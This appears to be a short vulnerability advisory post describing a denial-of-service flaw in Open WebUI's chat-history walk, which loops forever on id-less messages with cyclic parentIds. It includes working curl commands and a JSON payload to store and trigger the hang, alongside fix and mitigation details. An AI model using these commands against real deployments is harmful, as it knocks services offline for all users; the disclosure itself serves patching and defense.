Listen to this Post
Open WebUI stores chat histories as unvalidated JSON objects.
The message-chain reconstruction walk rebuilds a chat’s history.
It detects repeats using each message’s own id field.
It advances through the history by looking up parentId as map key.
The visited set is keyed on message.id.
If message.id is absent, the guard skips recording it.
Thus an id-less message is never marked visited.
A parent cycle between id-less messages makes the walk run forever.
The walk is synchronous on the asyncio event loop.
While it spins, every user request is blocked.
Unauthenticated /health is blocked.
Administrator endpoints are blocked.
External health checks fail.
Orchestrator liveness probes fail.
The appended list grows without bound.
Memory-capped deployments are killed by OOM.
The work is not cancelled on client disconnect.
One fire-and-forget request is enough.
The attacker can disconnect immediately.
The malformed chat remains in the database.
Restarting the process does not clear it.
The next request that walks that chat hangs again.
Recovery requires deleting the stored chat.
No data is disclosed, altered, or deleted.
The write path does not validate chat history structure.
A default user role can create a chat.
No admin rights are required.
No extra permissions are required.
No configuration change is required.
The attack runs against the attacker’s own chat.
Affected builds are 0.5.0 through 0.11.0.
Fixed in 0.11.1 by commit 5c79ccc.
The fix records the current map key instead of message.id.
Then it terminates after one step per stored message.
Upgrading resolves stored malformed chats.
DailyCVE Form:
Platform: Open WebUI
Version: 0.5.0-0.11.0
Vulnerability: Missing-id parent cycle
Severity: Not provided
date: Not provided
Prediction: 0.11.1
What Undercode Say:
Analytics:
Store malicious chat
curl -X POST http://target/api/v1/chats/new \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"chat":{"":"poc","history":{"currentId":"A","messages":{"A":{"parentId":"B","role":"user","content":"a","childrenIds":[]},"B":{"parentId":"A","role":"assistant","content":"b","childrenIds":[]}}}}}'
Trigger walk
curl -H "Authorization: Bearer $TOKEN" \
http://target/api/v1/chats/stats/usage
Check health during hang
curl http://target/health
Check admin endpoint during hang
curl -H "Authorization: Bearer $ADMIN_TOKEN" \
http://target/api/v1/admin
Exploit: (Educational Purposes!)
{"chat":{"":"poc","history":{"currentId":"A","messages":{
"A":{"parentId":"B","role":"user","content":"a","childrenIds":[]},
"B":{"parentId":"A","role":"assistant","content":"b","childrenIds":[]}}}}}
Protection:
Upgrade to 0.11.1.
Apply commit 5c79ccc.
Delete stored malformed chats.
Validate chat history structure.
Reject id-less cyclic messages.
Monitor /health timeouts.
Restart does not clear; delete chat.
Impact:
Synchronous event-loop block.
All users blocked.
Unauthenticated /health blocked.
Admin endpoints blocked.
Health checks fail.
Liveness probes fail.
Unbounded memory growth.
OOM kill possible.
Survives client disconnect.
Survives process restart.
No data disclosed.
No data altered.
No data deleted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
